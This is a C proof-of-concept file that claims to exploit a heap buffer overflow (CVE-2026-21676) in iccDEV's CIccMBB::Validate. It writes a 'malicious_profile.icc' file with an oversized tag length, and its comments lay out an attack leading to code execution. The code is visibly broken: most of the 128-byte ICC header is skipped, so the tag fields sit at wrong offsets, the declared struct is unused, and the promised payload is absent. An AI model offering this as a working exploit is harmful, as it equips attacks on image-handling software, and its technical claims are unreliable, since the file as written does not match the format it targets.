#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Minimal ICC Profile structure for PoC
typedef struct {
char signature[4]; // 'acsp' for color profile
int profile_size; // Profile size
char cmm_id[4]; // CMM identifier
int profile_version; // Profile version
char profile_class[4]; // Device class
char color_space[4]; // Color space
char pcs[4]; // PCS (Profile Connection Space)
// ... other fields
char tag_count[4]; // Number of tags
} ICC_Profile_Header;
// Malicious tag data to trigger overflow in CIccMBB::Validate
unsigned char malicious_icc_profile[] = {
// ICC Profile Header
0x61, 0x63, 0x73, 0x70, // 'acsp' signature
0x00, 0x00, 0x00, 0x00, // Profile size (placeholder)
0x00, 0x00, 0x00, 0x00, // CMM ID
0x02, 0x00, 0x00, 0x00, // Version 2.0
0x00, 0x00, 0x00, 0x00, // Profile class
0x52, 0x47, 0x42, 0x20, // 'RGB '
0x58, 0x59, 0x5A, 0x20, // 'XYZ '
// ... more header data
0x00, 0x00, 0x00, 0x01, // Tag count = 1
// Tag entry
0x63, 0x6D, 0x66, 0x66, // 'cmff' - tag signature
0x00, 0x00, 0x00, 0x00, // Offset
0xFF, 0xFF, 0xFF, 0xFF, // Size (malicious: very large value)
// Malicious payload to overflow heap buffer
};
int main() {
printf("CVE-2026-21676 PoC - iccDEV Heap Buffer Overflow\n");
printf("This PoC generates a malicious ICC profile with oversized tag data.\n");
printf("Target: CIccMBB::Validate function in iccDEV <= 2.3.1\n\n");
// Set the profile size
int profile_size = sizeof(malicious_icc_profile);
malicious_icc_profile[4] = (profile_size >> 24) & 0xFF;
malicious_icc_profile[5] = (profile_size >> 16) & 0xFF;
malicious_icc_profile[6] = (profile_size >> 8) & 0xFF;
malicious_icc_profile[7] = profile_size & 0xFF;
// Save malicious profile to file
FILE *fp = fopen("malicious_profile.icc", "wb");
if (fp) {
fwrite(malicious_icc_profile, 1, sizeof(malicious_icc_profile), fp);
fclose(fp);
printf("[+] Malicious ICC profile saved to malicious_profile.icc\n");
printf("[+] Size: %d bytes\n", profile_size);
}
return 0;
}
// Attack scenario:
// 1. Attacker crafts a malicious ICC profile with oversized tag data
// 2. Tag size field is set to an extremely large value (0xFFFFFFFF)
// 3. When CIccMBB::Validate processes the tag, it allocates insufficient buffer
// 4. Heap buffer overflow occurs during data copy operations
// 5. Attacker can achieve code execution via heap corruption